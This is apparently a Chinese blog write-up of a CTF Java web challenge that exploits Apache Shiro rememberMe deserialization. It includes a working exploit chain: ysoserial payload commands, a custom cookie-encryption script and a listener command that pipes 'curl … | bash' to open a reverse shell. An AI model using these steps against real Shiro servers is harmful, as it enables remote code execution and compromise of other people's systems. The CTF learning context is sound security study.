sky's blog

2019 OGeek Final & Java Web

字数统计: 1,454阅读时长: 7 min
2019/09/28 Share

前言

前段时间参加了OPPO举办的OGeek网络安全比赛线下赛,遇到一道Java Web,由于不太擅长,只是做了防御没有攻击成功,趁周末复盘一下~

代码分析

拿到题目,发现没有啥功能:

顺势看了一眼源码:

看到shiro后立刻可以想到shiro的反序列化漏洞:

1
https://paper.seebug.org/shiro-rememberme-1-2-4/

可以看到存在漏洞的shiro版本号为:1.2.4,我们查看题目当前版本:

那么显然,是存在shiro反序列化攻击的。

shiro反序列化

查阅相关资料可以知道,该漏洞的利用,涉及如下几个重要的点:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • 加密算法
  • 加密密钥硬编码
  • Java serialization
    我们可以知道,攻击的可控点在登录时的RememberMe,但是该值是需要序列化、加密、Base64的,那么很自然的,我们第一步应该是去寻找它对应的加解密算法,我们查看配置文件:webapps/web/WEB-INF/classes/spring-shiro.xml,发现如下关键信息:

    可以得知我们的加解密算法位置在ShiroRememberManager类中,我们进行查看:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    private byte[] getKeyFromConfig() {
    try {
    InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
    String key = "";
    if (fileInputStream != null && fileInputStream.available() >= 32) {
    byte[] bytes = new byte[fileInputStream.available()];
    fileInputStream.read(bytes);
    key = new String(bytes);
    fileInputStream.close();
    } else {
    BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
    key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
    writer.write(key);
    writer.close();
    }

    key = (new Md5Hash(key)).toString();
    return key.getBytes();
    } catch (Exception var4) {
    var4.printStackTrace();
    return null;
    }
    }

我们关注到关键点:加密密钥硬编码,其密钥位置为:com/collection/shiro/manager/remember.key
我们可以查看其值为:

1
2
$ cat remember.key
wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB

找到了密钥位置,我们去查看一下加解密算法:

1
private CipherService cipherService = new ShiroCipherService();

关注到ShiroCipherService类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
Subject subject = SecurityUtils.getSubject();
HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
String user_agent = servletRequest.getHeader("User-Agent");
String ip_address = servletRequest.getHeader("X-Forwarded-For");
ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
byte[] data_bytes = data.getBytes();
byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
byte[] out = new byte[2 * data_bytes.length];

for(int i = 0; i < data_bytes.length; ++i) {
out[i * 2] = mkey[i % mkey.length];
out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
}

byte[] result = new byte[out.length];

for(int i = 0; i < out.length; ++i) {
result[i] = (byte)(out[i] ^ okey[i % okey.length]);
}

return Util.bytes(result);
}

以往的加密算法一般为AES,可以发现这里出题人自己编写了一个加密规则,简单看一下,应该是一个异或加密,相应的解密规则也不需要我们编写,出题人也直接给出了解密规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
String skey = (new Sha1Hash(new String(key))).toString();
byte[] bkey = skey.getBytes();
byte[] data_bytes = new byte[ciphertext.length];

for(int i = 0; i < ciphertext.length; ++i) {
data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
}

byte[] jsonData = new byte[ciphertext.length / 2];

for(int i = 0; i < jsonData.length; ++i) {
jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
}

JSONObject jsonObject = new JSONObject(new String(jsonData));
String serial = (String)jsonObject.get("serialize_data");
return Util.bytes(Base64.getDecoder().decode(serial));
}

但值得注意的是,其中加密算法还是带有一个随机值:

1
byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();

但该值是用于签名,在解密时,并不会校验签名,所以并没有什么影响。

Exp编写

拥有了密钥、加密算法,那么剩下的就是构造我们的exp了,不同往上存在的exp,我们需要自己进行改写exp加密部分,首先我们查看lib文件下:

我们发现使用了commons-collections-3.1.jar,通过ysoserial.jar进行查看:

在内网环境中,攻击目标为:192.168.1.185,而攻击者为192.168.1.230,
我们通过ysoserial.jar进行exp构造:

1
java -jar ysoserial.jar JRMPClient '192.168.1.230:22222' | base64 > poc

生成对应exp,然后编写我们的payload加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;

import com.alibaba.fastjson.JSON;
import com.sun.xml.internal.rngom.parse.host.Base;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.json.JSONObject;
import org.omg.PortableInterceptor.SYSTEM_EXCEPTION;

/**
* Hello world!
*/
public class App {

public static void main(String[] args) throws Exception {
String b64_pay = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxl\n" +
"Y3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhh\n" +
"bmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVy\n" +
"AAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3\n" +
"QwAKVW5pY2FzdFJlZgAaY3VybCAxMDYuMTQuMTE0LjEyNyB8IGJhc2gAALXUAAAAADbgqhEAAAAA\n" +
"AAAAAAAAAAAAAAB4"

String json = "{\"user_is_login\":\"1\",\"sign\":\"d912fc80c68563b2f5ad7b784d56e0c1asfda-92u134-\",\"ip_address\":\"192.168.1.185\",\"user_agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\",\"serialize_data\":\""+b64_pay+"\"}";


String key = "wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB";
key = (new Md5Hash(key)).toString();
byte[] key_b = key.getBytes();

//System.out.println(decrypt(cipher_b, key_b));
System.out.println(encrypt(json, key_b));

}
public static ByteSource encrypt(String data, byte[] key) throws CryptoException {
byte[] data_bytes = data.getBytes();
byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
byte[] out = new byte[2 * data_bytes.length];

for(int i = 0; i < data_bytes.length; ++i) {
out[i * 2] = mkey[i % mkey.length];
out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
}

byte[] result = new byte[out.length];

for(int i = 0; i < out.length; ++i) {
result[i] = (byte)(out[i] ^ okey[i % okey.length]);
}

return ByteSource.Util.bytes(result);
}
}

运行即可生成对应的RememberMe的值,并将该值作为RememberMe的值,放于Cookie中,先运行以下命令,再将请求发送给攻击目标:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 22222 CommonsCollections5 'curl 192.168.1.230 | bash'

即可反弹shell。

后记

还是对Java不太熟练,比赛的时候,这个漏洞的难度还是低于PHP的(,以后还得加加油

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 代码分析
  3. 3. shiro反序列化
  4. 4. Exp编写
  5. 5. 后记